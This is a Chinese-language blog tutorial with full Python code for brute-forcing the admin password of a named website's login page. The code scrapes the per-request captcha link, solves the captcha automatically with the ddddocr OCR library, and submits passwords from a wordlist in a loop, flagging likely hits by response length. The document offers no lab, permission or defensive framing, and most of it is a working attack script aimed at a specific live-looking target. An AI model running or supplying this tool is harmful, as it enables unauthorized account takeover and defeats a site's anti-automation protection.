总体原理:多次发送密码尝试穷举爆破
具体流程分析:
1.抓取web发送账号密码数据接口
2.自动识别验证码
3.获取到密码和验证码结果,通过python模拟无限次发送
4.分析返回结果
详细流程:
(1)抓取web发送账号密码数据接口
网站登录界面示例:
通过抓取提交数据接口发现有用户名,密码,验证码三个数据,这里需要分析第三个数据怎么获取,直接打开云代码查看,看到了获取验证码的接口!
但是经过测试始终提示验证码错误,又回来分析验证码接口,终于反复查看发现这一串是随机数,每次请求登录登录界面主页后这个随机数就会发生变化,意思就是说每次请求一次主页这个获取验证码的链接就发生了变化。
由于每次请求,这个随机数都出现在源码里,因此就需要获取到这个链接数据
获取验证码随机数字代码:
import requests
import bs4
sense=requests.session()
url = 'https://1.lehui1.com/abc/admin/login.php'
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36 Edg/101.0.1210.39'
}
def ii():
# 获取验证码的随机码
r = sense.get(url=url, headers=headers).text
#通过bs4解析返回数据并定位到具体要的内容
b = bs4.BeautifulSoup(r, 'lxml')
soup = b.select('img[id="codeimg"]')
code_url = soup[0].attrs['src']
获取验证码 接上面代码函数ii()里面:
# 开始获取验证码
url_c = 'https://1.lehui1.com/abc/admin' + code_url.strip(code_url[0])#这里由于获取到的
数据多余了一个点,所以去掉了
R = sense.get(url=url_c, headers=headers).content
#保存到文件里面
file = open('yzm.png', 'wb')
file.write(R)
file.close()
获取到验证码效果图![](https://i-blog.csdnimg.cn/blog_migrate/1b1f09c798e34defd4ca281f08b9f59f.png)
2.自动识别验证码
这里就需要使用python识别库了,由于python官方库识别不是太理想,还需要处理图像后识别效果才好,所以我直接使用了ddddocr库
这个库简单实用,并且识别率好像还挺高的
ddddocr库:
安装命令:
1、镜像安装:pip install ddddocr -i https://pypi.tuna.tsinghua.edu.cn/simple
简单使用方法:
import ddddocr
ocr = ddddocr.DdddOcr()
with open('1.png', 'rb') as f:
img_bytes = f.read()
res = ocr.classification(img_bytes)
print(res)
识别验证码代码及效果:
import ddddocr
def yzmsb():
ocr = ddddocr.DdddOcr()
with open(r'yzm.png', 'rb') as f:
a = f.read()
f = ocr.classification(a)
return f
3.获取到密码和验证码结果,通过python模拟无限次发送
已经获取到验证码并识别出来,这次试验就穷举admin的密码:
def oo(a,passwd):
#发送的数据
data = {
'user': 'admin',
'pass': passwd,
'code': a
}
relist = sense.post(url=url, headers=headers, data=data).text
整体代码
import requests
import bs4
import ddddocr,sys
sense=requests.session()
#这里一定需要使用的session(),当我们在做登录是,都会发送很多数据的包括用不同的接口,比如说这里的验证码接口。
#使用session()就会让我们相当于在一个浏览器发送数据的。
url = 'https://1.lehui1.com/abc/admin/login.php'
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36 Edg/101.0.1210.39'}
def ii():
# 获取验证码的随机码
r = sense.get(url=url, headers=headers).text
#通过bs4获取需要的内容
b = bs4.BeautifulSoup(r, 'lxml')
soup = b.select('img[id="codeimg"]')
#获取到数据
code_url = soup[0].attrs['src']
# 开始获取验证码图片
url_c = 'https://1.lehui1.com/abc/admin' + code_url.strip(code_url[0])
R = sense.get(url=url_c, headers=headers).content
#保存好文件
file = open('yzm.png', 'wb')
file.write(R)
file.close()
#识别保存的验证码
def yzmsb():
ocr = ddddocr.DdddOcr()
with open(r'yzm.png', 'rb') as f:
a = f.read()
f = ocr.classification(a)
return f
#开始发送验证码和用户名请求
def oo(a,passwd):
data = {
'user': 'admin',
'pass': passwd,
'code': a
}
relist = sense.post(url=url, headers=headers, data=data).text
#这里怎样通过程序来分析出发送的请求密码是正确的呢
#通过反回数据的长度来判断
#这里如果密码错误会有两种结果,一种是验证码错误,一种是用户名或密码错误
#所以直接判断不在这两个返回内的数据长度内就有可能发送的密码是正确的
#由于不一定是密码正确还有其他情况,所以会把它密码和返回数据存入日志中查看
if len(relist) > 74 or len(relist) < 70:
with open('webpjRZ.txt','a',encoding='utf-8') as f:
f.write('\n'+passwd+relist)
if __name__=="__main__":
with open('常用用户名.txt','r',encoding='utf-8') as f:
zi=f.readlines()
for i in zi:
passwd=i.strip('\n')
ii()
oo(yzmsb(),passwd)